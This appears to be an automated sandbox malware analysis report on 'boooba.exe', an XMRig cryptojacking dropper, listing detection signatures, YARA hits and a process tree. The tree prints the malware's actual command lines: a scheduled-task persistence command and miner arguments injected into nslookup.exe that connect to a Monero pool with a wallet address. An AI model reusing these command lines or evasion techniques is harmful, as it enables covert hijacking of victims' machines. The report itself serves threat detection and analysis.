Edit tour

Windows Analysis Report
boooba.exe

Overview

General Information

Sample name:	boooba.exe
Analysis ID:	1545299
MD5:	ef9e6a4bab77a1e5ed51669eabeba31d
SHA1:	43b67b32d2fd462f0cb9277ed974d63a5575fc8c
SHA256:	ab41e347fec54af86ef8edd98c695a7e856a93a30cd07a89d7669896b419b92b
Tags:	CoinMinerexeXMRiguser-NDA0E
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Xmrig

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Allocates memory in foreign processes

Creates a thread in another existing process (thread injection)

DNS related to crypt mining pools

Detected Stratum mining protocol

Drops PE files to the user root directory

Found direct / indirect Syscall (likely to bypass EDR)

Found strings related to Crypto-Mining

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses nslookup.exe to query domains

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Abnormal high CPU Usage

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Suricata IDS alerts with low severity for network traffic

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

boooba.exe (PID: 6628 cmdline: "C:\Users\user\Desktop\boooba.exe" MD5: EF9E6A4BAB77A1E5ED51669EABEBA31D)

conhost.exe (PID: 6768 cmdline: "C:\Windows\System32\conhost.exe" "C:\Users\user\Desktop\boooba.exe" MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6904 cmdline: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7024 cmdline: schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7128 cmdline: "cmd" cmd /c "C:\Users\user\IOAshdohSha.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

IOAshdohSha.exe (PID: 1516 cmdline: C:\Users\user\IOAshdohSha.exe MD5: EF9E6A4BAB77A1E5ED51669EABEBA31D)

conhost.exe (PID: 4136 cmdline: "C:\Windows\System32\conhost.exe" "C:\Users\user\IOAshdohSha.exe" MD5: 0D698AF330FD17BEE3BF90011D49251D)

nslookup.exe (PID: 5480 cmdline: C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100 MD5: F2E3950C1023ACF80765C918791999C0)

IOAshdohSha.exe (PID: 7084 cmdline: C:\Users\user\IOAshdohSha.exe MD5: EF9E6A4BAB77A1E5ED51669EABEBA31D)

conhost.exe (PID: 5348 cmdline: "C:\Windows\System32\conhost.exe" "C:\Users\user\IOAshdohSha.exe" MD5: 0D698AF330FD17BEE3BF90011D49251D)

sihost64.exe (PID: 4048 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe" MD5: 6A7E9885A2D01DF564B46F8F27258853)

conhost.exe (PID: 6064 cmdline: "C:\Windows\System32\conhost.exe" "/sihost64" MD5: 0D698AF330FD17BEE3BF90011D49251D)

nslookup.exe (PID: 6288 cmdline: C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100 MD5: F2E3950C1023ACF80765C918791999C0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.2902391217.0000019A4A4B0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000E.00000002.2901760284.0000029965517000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000C.00000003.1794466299.000001F9F0E4A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1692437543.0000000000B84000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x21d0e6:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000000.00000002.1692437543.0000000000B84000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_5c38878d	unknown	unknown	0x21d83d:$a: 24 48 03 C2 48 89 44 24 28 41 8A 00 84 C0 74 14 33 D2 FF C1
0000000D.00000002.2902391217.0000019A4A4F5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000005.00000002.1747235973.0000000000B52000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x21d0e6:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000005.00000002.1747235973.0000000000B52000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_5c38878d	unknown	unknown	0x21d83d:$a: 24 48 03 C2 48 89 44 24 28 41 8A 00 84 C0 74 14 33 D2 FF C1
00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1778567981.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1778567981.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1777354712.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1777354712.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1774881873.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1774881873.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000E.00000002.2903432689.0000029966FF4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1782316167.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1782316167.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000E.00000002.2906554821.000002997F6D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000D.00000002.2902391217.0000019A4A4B8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000E.00000002.2901128329.0000029965300000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x34a6:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000000E.00000002.2901128329.0000029965300000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_5c38878d	unknown	unknown	0x3bfd:$a: 24 48 03 C2 48 89 44 24 28 41 8A 00 84 C0 74 14 33 D2 FF C1
0000000E.00000002.2901760284.000002996549D000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000D.00000002.2902391217.0000019A4A50A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.1784948706.00000000005C5000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x3ad6:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000000A.00000002.1784948706.00000000005C5000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_5c38878d	unknown	unknown	0x422d:$a: 24 48 03 C2 48 89 44 24 28 41 8A 00 84 C0 74 14 33 D2 FF C1
00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000008.00000002.1757539408.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x21d0e6:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000008.00000002.1757539408.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_5c38878d	unknown	unknown	0x21d83d:$a: 24 48 03 C2 48 89 44 24 28 41 8A 00 84 C0 74 14 33 D2 FF C1
0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1781637275.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1781637275.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000E.00000002.2901760284.00000299654CB000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000C.00000002.2900254186.0000000140751000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1779369936.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1779369936.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000C.00000002.2902562928.000001F9F0DF8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000C.00000002.2902562928.000001F9F0E0E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000E.00000002.2903432689.0000029966FA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45b7b0:$a1: mining.set_target 0x4564f8:$a2: XMRIG_HOSTNAME 0x4585d8:$a3: Usage: xmrig [OPTIONS] 0x4564d0:$a4: XMRIG_VERSION
0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x462df1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4633b0:$s1: %s/%s (Windows NT %lu.%lu 0x4641f8:$s2: \Microsoft\Libs\WR64.sys 0x464490:$s3: \\.\WinRing0_ 0x45a7d8:$s4: pool_wallet 0x3fab98:$s5: cryptonight 0x3faba8:$s5: cryptonight 0x3fabb8:$s5: cryptonight 0x3fabc8:$s5: cryptonight 0x3fabe0:$s5: cryptonight 0x3fabf0:$s5: cryptonight 0x3fac00:$s5: cryptonight 0x3fac18:$s5: cryptonight 0x3fac28:$s5: cryptonight 0x3fac40:$s5: cryptonight 0x3fac58:$s5: cryptonight 0x3fac68:$s5: cryptonight 0x3fac78:$s5: cryptonight 0x3fac88:$s5: cryptonight 0x3faca0:$s5: cryptonight 0x3facb8:$s5: cryptonight 0x3facc8:$s5: cryptonight
00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45b7b0:$a1: mining.set_target 0x4564f8:$a2: XMRIG_HOSTNAME 0x4585d8:$a3: Usage: xmrig [OPTIONS] 0x4564d0:$a4: XMRIG_VERSION
0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x462df1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4633b0:$s1: %s/%s (Windows NT %lu.%lu 0x4641f8:$s2: \Microsoft\Libs\WR64.sys 0x464490:$s3: \\.\WinRing0_ 0x45a7d8:$s4: pool_wallet 0x3fab98:$s5: cryptonight 0x3faba8:$s5: cryptonight 0x3fabb8:$s5: cryptonight 0x3fabc8:$s5: cryptonight 0x3fabe0:$s5: cryptonight 0x3fabf0:$s5: cryptonight 0x3fac00:$s5: cryptonight 0x3fac18:$s5: cryptonight 0x3fac28:$s5: cryptonight 0x3fac40:$s5: cryptonight 0x3fac58:$s5: cryptonight 0x3fac68:$s5: cryptonight 0x3fac78:$s5: cryptonight 0x3fac88:$s5: cryptonight 0x3faca0:$s5: cryptonight 0x3facb8:$s5: cryptonight 0x3facc8:$s5: cryptonight
00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000C.00000002.2902562928.000001F9F0DF0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000D.00000002.2900249494.0000000140751000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x21d0a6:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_5c38878d	unknown	unknown	0x21d7fd:$a: 24 48 03 C2 48 89 44 24 28 41 8A 00 84 C0 74 14 33 D2 FF C1
0000000B.00000003.1780288557.000001E32C455000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1780288557.000001E32C455000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000C.00000002.2902562928.000001F9F0E49000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1779753714.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1779753714.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
00000009.00000003.1784061209.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.1784061209.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1779051954.000001E32C453000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1779051954.000001E32C453000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1783041722.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000B.00000003.1783041722.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x45a1f0:$a1: mining.set_target 0x454f38:$a2: XMRIG_HOSTNAME 0x457018:$a3: Usage: xmrig [OPTIONS] 0x454f10:$a4: XMRIG_VERSION
0000000B.00000003.1781787948.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
